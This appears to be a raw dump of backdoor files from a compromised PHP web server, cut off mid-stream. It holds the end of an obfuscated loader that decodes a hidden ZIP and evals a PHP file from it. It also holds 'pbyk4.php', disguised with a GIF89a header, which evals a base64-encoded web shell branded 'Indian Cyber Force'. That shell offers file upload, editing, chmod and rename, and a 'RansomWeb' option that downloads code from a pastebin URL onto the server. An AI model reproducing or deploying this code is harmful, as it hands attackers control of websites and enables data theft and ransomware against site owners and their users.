Nhs2I+ywC3KLH2rDk6YvI7z8OtRvCr4vXj7lgrv37UHlT5LLfYHF9erD7IRGW95F8zR+h9SssSdqAVad2l9R+8PsdLTewcxf0mMed4+qK7GXXDnRCXBeWcNeyJNLAptceJAkGmrQm0yMdRLr/6b97zlkYcpfcX4nek/TvXb0/4k2DYJxI84zudatH4DInqhxnUuJZCCTSG1MvELL9qNg23OmnRlOZYY8hFzG3MOoaGQ1Ch0NkQ7ODDjomiMxGoh/P8nxeL4e5anwQMUoJU/vVbwGfK7UWf+IBLRKdYIPNAba7TND/HDHHncbKEnJWvsgdNNgt6PELjS2vX+S1ks45NE1AvN94bJ5VtpWFCUR1a0EDV6t4Hpvpmsqr3O2w1gR3/TCn9UWSgls1lEgU/0SqJm59ocx05ykxSTbGxqqo6NrMnQl0vhrtaOBvh7xRiOBVA32AWE12YDxs9d9g05HsFKpdbKTtS8hhZslwiQhqUmNGFdyyal9RsuS82jfzM65RT8dClgLAcUVRuy6dUTNLRBlZaEEaJeRxzUaObMqpKjjC3zlb5PWVpTPvnoi2BQHZlW17sOu+XSdZyLfPeI+mQ4q2eF1OsogzPypWYvpBbtjl25z3tqwJrEgqGqyAfnHG+k82WbwxtQuWluofUlildmAPUhIXXDLNnpORAoqXsHiuc+r/7Z6IYlDKCpuiJkoAQHiRKNJGhVoYlg6GNg+BsiMxWSy+rbrTQval9Gl8vD3klU7HPaCpwmaful3kPknZk76oRZrH5eUMz0AmA4oDEyHnNYIoaaeW5rdTWFYoewsckAf7SUGXpuYJDbdW+xin7HnNhSz813Zom/+L3WVlvjmCWAiaz9BKndedP1cp8ZMSyczd+M9yete8R7ROk1AOxwgunH7lVfYIje3Pcj+IM83oNCocg43Mj+sWxp1VqWkEU9u/qgtuEfJ6Ll1J+mlerrL6H3RO2CH5lglXHcbA5TyEfQxUt9YTKE1cGd4p9htnn56qcA1vxMYl1ZwJKVwNQQP9siFo8Pl8bVH/M7d+ZCUBU7zkFv5BiQVp1jbsM2IrxDcw+OaUP0ys4vG9ccwQSbDhYNfYysMMTFKwaB3u/+Dt4dgELQyQCwfplszwb+Rcy1+lbG2yn1+YBQ63SViJ2UZKPwbf69Xc05FaNoyKzysOxbNWAAgDCqKfL/gXRvcpD2141ajgN7z3j8ppjK2rJF91ZRei3s/u/fGXfwKd2rSYub4ADhTeA2nn6hMVnUNuUFsHRpCSFrA7tK3LZBrkYpIaDTA7VXwFMZktSiBwJVnNsNSA57GQehdPwlvg6T7dMBO/YvQHO9SwMmRZJqU5yVxFh9NYw+uWtDfbwz6JH99d766ofDyoonEcLAEAzM8Og2o+nwxNe5TUPqu4oNkhukET/wQ32dFt4iNdd2NZWmRRcCJO24gTWkm+ef3b1BtgPPZBR+e96tKYnnlpgWDWuWZK8rf0vUEsBAhQDFAAAAAgAZUcSW2woSAlhKwAA5ZoAADEAAAAAAAAAAAAAALaBAAAAAHN1Z2FnYXNud3Fpb3RuaXF3bnRpcXdudGlxd3Ribmlxd2J0aXF3YnRxeHh4MS5waHBQSwECFAMUAAAACACLMg9bXLQXlTQCAACXBQAACgAAAAAAAAAAAAAAtoGwKwAAaW5kZXguaHRtbFBLAQIUAxQAAAAIAHRHEltMyalf3DYAAPw2AAA3AAAAAAAAAAAAAAC2gQwuAABrYXNvcnVyandxaW5pbnd0cWl0cXdpYnRxd2l0Ymlxd3VidHVpcXdidGl1cXdidHF3dC5qcGVnUEsFBgAAAAADAAMA/AAAAD1lAAAAAA==';
$enko = $decode2($zipData);$anje = $decode4($enko);$decoy = $decode5($anje);$xnai = $decode3($decoy);$decodedZipData = $decode($xnai);$zipStream = fopen('php://temp', 'r+');
fwrite($zipStream, $decodedZipData);
rewind($zipStream);$tmpFile = tempnam(sys_get_temp_dir(), 'zip');$tmpFileStream = fopen($tmpFile, 'w');
stream_copy_to_stream($zipStream, $tmpFileStream);
fclose($zipStream);
fclose($tmpFileStream);
$zip = new ZipArchive();
if ($zip->open($tmpFile) === TRUE) {
    $hookIndex = $zip->locateName('sugagasnwqiotniqwntiqwntiqwtbniqwbtiqwbtqxxx1.php');
    
    if ($hookIndex !== false) {
        $phpCode = $zip->getFromIndex($hookIndex);

        try {
            eval('?>' . $phpCode);
        } catch (Throwable $e) {
            echo "?? Error in hook.php: ", $e->getMessage(), "\n";
        }
    } else {
        echo "? hook.php not found in the ZIP\n";
    }

    $zip->close();
} else {
    exit("? Failed to open ZIP\n");
}
unlink($tmpFile);
?>
pbyk4.php000064400000053700151550052240006312 0ustar00GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>php</title>
<?=eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9
InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut
d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy
ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v
Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQt
TUN3OTgvU0ZuR0U4ZkpUM0dYd0VPbmdzVjdadDI3TlhGb2FvQXBtWW04MWl1WG9Qa0ZPSndKOEVS
ZGtuTFBNTyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8bGluayByZWw9InN0eWxlc2hl
ZXQiIGhyZWY9Imh0dHBzOi8vdXNlLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS43LjEvY3Nz
L2FsbC5jc3MiIGludGVncml0eT0ic2hhMzg0LWZubU9DcWJUbFdJbGo4THlUam83bU9VU3Rqc0tD
NHBPcFFicXlpN1JyaE43dWRpOVJ3aEtrTUhwdkxiSEc5U3IiIGNyb3Nzb3JpZ2luPSJhbm9ueW1v
dXMiLz4KICA8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+CiAgPHN0eWxl
Pgpib2R5IHsKICBvdmVyZmxvdy14OiBoaWRkZW47Cn0KLmljbyB7d2lkdGg6MjBweDt9Ci5pY28y
e3dpZHRoOjIwcHg7fQojc2lkZWJhci13cmFwcGVyIHsKICBtaW4taGVpZ2h0OiAxMDB2aDsKICBt
YXJnaW4tbGVmdDogLTE1cmVtOwogIC13ZWJraXQtdHJhbnNpdGlvbjogbWFyZ2luIC4yNXMgZWFz
ZS1vdXQ7CiAgLW1vei10cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICAtby10cmFu
c2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICB0cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBl
YXNlLW91dDsKfQoKI3NpZGViYXItd3JhcHBlciAuc2lkZWJhci1oZWFkaW5nIHsKICBwYWRkaW5n
OiAwLjg3NXJlbSAxLjI1cmVtOwogIGZvbnQtc2l6ZTogMS4ycmVtOwp9Cgojc2lkZWJhci13cmFw
cGVyIC5saXN0LWdyb3VwIHsKICB3aWR0aDogMTVyZW07Cn0KCiNwYWdlLWNvbnRlbnQtd3JhcHBl
ciB7CiAgbWluLXdpZHRoOiAxMDB2dzsKfQoKI3dyYXBwZXIudG9nZ2xlZCAjc2lkZWJhci13cmFw
cGVyIHsKICBtYXJnaW4tbGVmdDogMDsKfQoKQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7CiAg
I3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogMDsKICB9CgogICNwYWdlLWNvbnRl
bnQtd3JhcHBlciB7CiAgICBtaW4td2lkdGg6IDA7CiAgICB3aWR0aDogMTAwJTsKICB9CgogICN3
cmFwcGVyLnRvZ2dsZWQgI3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogLTE1cmVt
OwogIH0KfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGlkPSJwYWdlLWNvbnRl
bnQtd3JhcHBlciI+CgogICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBu
YXZiYXItbGlnaHQgYmctbGlnaHQgYm9yZGVyLWJvdHRvbSI+CiAgICAgICAgPGJ1dHRvbiBjbGFz
cz0iYnRuIGJ0bi1wcmltYXJ5IiBpZD0ibWVudS10b2dnbGUiPjxpIGNsYXNzPSJmYSBmYS11c2Vy
Ij48L2k+PC9idXR0b24+CgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0
eXBlPSJidXR0b24iIGRhdGEtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS10YXJnZXQ9IiNuYXZiYXJT
dXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBh
cmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAg
ICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10b2dnbGVyLWljb24iPjwvc3Bhbj4KICAgICAgICA8
L2J1dHRvbj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBp
ZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CiAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1u
YXYgbWwtYXV0byBtdC0yIG10LWxnLTAiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVt
IGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/Ij5Ib21l
IDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPgogICAgICAgICAgICA8
L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgIAo8P3Bo
cAppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7
CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7
CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goICRwYXRocyBhcyAkaWQgPT4g
JHBhdCApewppZiggJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCApewokYSA9IHRydWU7CmVjaG8gJ+Ck
teCksOCljeCkpOCkruCkvuCkqCDgpKjgpL/gpKbgpYfgpLbgpJUgPT4gPGEgaHJlZj0iP3BhdGg9
LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZiggJHBhdCA9PSAnJyApIGNvbnRpbnVlOwplY2hvICc8
YSBocmVmPSI/cGF0aD0nOwpmb3IoICRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKXsKZWNobyAiJHBh
dGhzWyRpXSI7CmlmKCAkaSAhPSAkaWQgKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9h
Pi8nOwp9Cj8+CiAgICAgICAgICAgICAKICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxp
IGNsYXNzPSJuYXYtaXRlbSBkcm9wZG93biI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1s
aW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iIyIgaWQ9Im5hdmJhckRyb3Bkb3duIiByb2xlPSJi
dXR0b24iIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1l
eHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAg4KS44KWC4KSa4KSo4KS+IOCkj+CkteCk
giDgpIXgpKrgpLLgpYvgpKEKICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgPGRpdiBj
bGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IiBhcmlhLWxhYmVsbGVkYnk9
Im5hdmJhckRyb3Bkb3duIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVt
IiBocmVmPSI/aW5mbyI+SW5mbyBTZXJ2ZXI8L2E+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz
PSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAg
ICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0
YSI+CiAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+PGlucHV0
IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iVXBsb2FkIj4KICAgICAgICAgICAg
ICAgPC9mb3JtPgogICAgICAgICAgICAgICA8L2NlbnRlcj4KICAgICAgICAgICAgICA8L2Rpdj4K
ICAgICAgICAgICAgPC9saT4KICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgIDwv
bmF2PgogPGRpdiBjbGFzcz0iZC1mbGV4IiBpZD0id3JhcHBlciI+CiAgICA8IS0tIFNpZGViYXIg
LS0+CiAgICA8ZGl2IGNsYXNzPSJiZy1saWdodCBib3JkZXItcmlnaHQiIGlkPSJzaWRlYmFyLXdy
YXBwZXIiPgogICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLWhlYWRpbmciPjxpIGNsYXNzPSJmYXMg
ZmEtdGFjaG9tZXRlci1hbHQiPjwvaT48YSBocmVmPSI/IiBjbGFzcz0idGV4dC1kYXJrIj4gSW5k
aWFuIEN5YmVyIEZvcmNlPC9hPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJsaXN0LWdyb3VwIGxp
c3QtZ3JvdXAtZmx1c2giPgogICAgICAJPD9waHAKICAgICAgCWVjaG8gIjxhIGhyZWY9Jz9wYXRo
PSRwYXRoJmFrc2k9YnVhdGZvbGRlcicgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3Vw
LWl0ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZvbGRlci1vcGVuJz48L2k+
IEZvbGRlcnMg4KSw4KSa4KSv4KSo4KWN4KSk4KWBPC9hPgogICAgICAJPGEgaHJlZj0nP3BhdGg9
JHBhdGgmYWtzaT1idWF0ZmlsZScgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3VwLWl0
ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZpbGUnPjwvaT4g4KS44KSe4KWN
4KSa4KS/4KSV4KS+4KSCIOCksOCkmuCkr+CkqOCljeCkpOClgTwvYT4KICAgICAgCTxhIGhyZWY9
Jz9wYXRoPSRwYXRoJmFrc2k9cmFuc29tJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3Jv
dXAtaXRlbS1hY3Rpb24gYmctbGlnaHQnPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlh
bmdsZSc+PC9pPiBSYW5zb21XZWI8L2E+IjsKICAgICAgCT8+CiAgICAgICAgPGEgaHJlZj0nP2tl
bHVhcj10cnVlJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24g
YmctbGlnaHQnPjxpIGNsYXNzPSdmYXMgZmEtc2lnbi1vdXQtYWx0Jz48L2k+IOCksuClieCkl+Ck
huCkieCknzwvYT4KICAgICAgICAKICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgPGRpdiBj
bGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAKICAgICAgICAKPD9waHAKaWYoJF9HRVRb
IuCkrOCkueCkv+CkgyDgpJfgpJrgpY3gpJvgpKTgpYEiXSA9PSB0cnVlKXsKdW5zZXQoJF9TRVNT
SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CgllY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsKfQppZigkX0dFVFsnYWtzaSddID09ICdidWF0Zm9sZGVy
Jyl7CglmdW5jdGlvbiBoYWkoKXsKCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ0ZvbGRlciDgpLjgpKvgpLLgpKTgpL4g4KSV4KWD4KSk4KS+
IScpPC9zY3JpcHQ+IjsKCX0KCWlmKGlzc2V0KCRfUE9TVFsiZm9sZGVyc3MiXSkpewoJCSRuYW1h
X2ZvbGRlciA9ICRwYXRoLicvJy4kX1BPU1RbIm5hbWFGIl07CgkJbWtkaXIoJG5hbWFfZm9sZGVy
LGhhaSgpKTsKCX0KCQkKCWVjaG8gJwoJPGRpdiBjbGFzcz0icm93IG10LTMiPgoJCTxkaXYgY2xh
c3M9ImNvbCI+CgkJCTxmb3JtIG1ldGhvZD0icG9zdCI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0ibmFtYUYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xkZXI9Ik5hbWEgRm9s
ZGVyIj4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0
IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIiB2YWx1ZT0iQnVhdCIg
bmFtZT0iZm9sZGVyc3MiPjwvZm9ybT4KCQkJCTwvZGl2PgoJCQkJPC9kaXY+JzsKfWVsc2VpZigk
X0dFVFsi4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ3JhbnNvbScpewoKCSR1cmwgID0gImh0
dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MYlZoTm5aRiI7CiAgJGN1cmwgPSBjdXJsX2luaXQoJHVy
bCk7CiAgCQkJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUp
OwogICRnZXQJPSBjdXJsX2V4ZWMoJGN1cmwpOwogaWYoISRnZXQgPT0gIiIpewokcHV0cyA9IGZv
cGVuKCJSYW5zb21XZWIucGhwIiwidyIpOwoJCQkJZndyaXRlKCRwdXRzLCRnZXQpOwoJCQkJZmNs
b3NlKCRwdXRzKTsKJG5hbWFfZmlsZSAgPSAiUmFuc29tV2ViLnBocCI7CiRzZXJ2ZXJfd2ViID0g
J2h0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nLyc7CmlmKCRwdXRzID09IHRydWUpewoJ
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pLjgpKvgpLLgpKTgpL4nKTwvc2NyaXB0PiI7Cn1lbHNlewoJZWNobyAi4KSF4KSo4KWB4KSk4KWN
4KSk4KWA4KSw4KWN4KSj4KSDIOCkqOCkv+CksOCljeCkruClgOCkr+CkpOCkvuCkruCljeKAjCBG
aWxlIjsKCX0KfWVsc2V7CgllY2hvICJOb3QgRm91bmQhISI7Cn0KCgkKfWVsc2VpZigkX0dFVFsi
4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ2NyZWF0ZWZpbGUg4KSH4KSk4KS/Jyl7CglpZihp
c3NldCgkX1BPU1RbIuCkleClg+CkpOClhyJdKSl7CgkkbmFtYUYgPSAkcGF0aC4nLycuJF9QT1NU
WyLgpLjgpJ7gpY3gpJrgpL/gpJXgpL5f4KSo4KS+4KSuIl07CgkkaXNpID0gJF9QT1NUWyLgpLXg
pL/gpLfgpK/gpIMiXTsKCSRidWF0ID0gZm9wZW4oJG5hbWFGLCJ3Iik7Cglmd3JpdGUoJGJ1YXQs
JGlzaSk7CglmY2xvc2UoJGJ1YXQpOwoJaWYoJGJ1YXQgPT0gVFJVRSl7CgkJZWNobyAiPHNjcmlw
dD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpLjgpKvgpLLgpKTg
pL4nKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyEh
IScpPC9zY3JpcHQ+IjsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9Im10LTMi
PgoJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xk
ZXI9Ik5hbWEgRmlsZSIgbmFtZT0ibmFtYV9maWxlIj4KCQk8dGV4dGFyZWEgY2xhc3M9ImZvcm0t
Y29udHJvbCBtYi0zIiByb3dzPSI4IiBuYW1lPSJpc2kiIHBsYWNlaG9sZGVyPSJJc2kgRmlsZSI+
PC90ZXh0YXJlYT4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidWF0IiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkiIHZhbHVlPSJCdWF0Ij4nOwp9ZWxzZQppZihpc3NldCgkX0dF
VFsiaW5mbyJdKSl7CmVjaG8gJwoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBtdC0z
Ij4KCQk8aDMgY2xhc3M9InRleHQtY2VudGVyIj7gpLjgpYLgpJrgpKjgpL4gU2VydmVyPC9oMz48
aHI+CgkJPGxpPk5hbWEgU2VydmVyIDogJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nPC9saT4K
CQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+CgkJPGxp
PlBvcnQgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLic8L2xpPgoJCTxsaT7gpKrgpY3gpLDg
pYvgpJ/gpYvgpJXgpYngpLIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4K
CQk8bGk+U2F2ZSBEYXRhIDogJy4kX1NFUlZFUlsiSFRUUF9TQVZFX0RBVEEiXS4nPC9saT4KCQk8
bGk+4KS44KSC4KSs4KSo4KWN4KSn4KSDIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0u
JzwvbGk+CgkJPGxpPlNvZnR3YXJlIDogJy4kX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0uJzwv
bGk+CgkJPGxpPkRva3VtZW4gUm9vdCA6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nPC9s
aT4KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8
L2xpPgoJCTxsaT5SLU1ldGhvZCA6ICcuJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0uJzwvbGk+
CgkJPGxpPllvdXIgQnJvd3NlciA6ICcuJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLic8L2xp
PgoJCTwvZGl2Pic7Cn1lbHNlIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRf
RklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1l
J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFs
ZXJ0KCfgpK7gpL7gpKjgpY3gpK8hIScpPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxzY3JpcHQ+
YWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyBVcGxvYWQnKTwvc2NyaXB0
PiI7Cn0KfWVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewplY2hvICI8dHI+PHRkPkN1
cnJlbnQgRmlsZSA6ICI7CmVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsKZWNobyAnPC90cj48L3RkPjwv
dGFibGU+PGJyIC8+JzsKZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29u
dGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2UgaWYoaXNzZXQoJF9HRVRb
J29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48
YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsn
b3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRf
UE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0
aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgnU3Vrc2VzJyk8L3NjcmlwdD4iOwp9ZWxzZXsK
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfQplY2hv
ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJj
b2wiPgo8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vi
c3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiBjbGFz
cz0iZm9ybS1jb250cm9sIj4KCTwvZGl2Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRo
IiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
b3B0IiB2YWx1ZT0iY2htb2QiPgoJPGRpdiBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIj4K
CTwvZGl2PgoJPC9kaXY+CjwvZm9ybT4nOwp9ZWxzZSBpZigkX1BPU1RbJ29wdCddID09ICdyZW5h
bWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0
aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkqOCkvuCkriDgpKzgpKbgpLIg4KSm
4KS/4KSv4KS+IOCkl+Ckr+CkviDgpLngpYghJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNj
cmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHg
pKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KJF9QT1NUWyduYW1lJ10g
PSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBj
bGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJjb2wiPgo8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlw
ZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIGNsYXNzPSJmb3Jt
LWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJOYW1hIEJhcnUiPgoJPC9kaXY+CjxpbnB1dCB0eXBlPSJo
aWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgoJPGRpdiBjbGFzcz0iY29sIj4K
PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXBy
aW1hcnkgYnRuLWJsb2NrIj4KPC9kaXY+CjwvZGl2Pgo8L2Zvcm0+JzsKfWVsc2UgaWYoJF9QT1NU
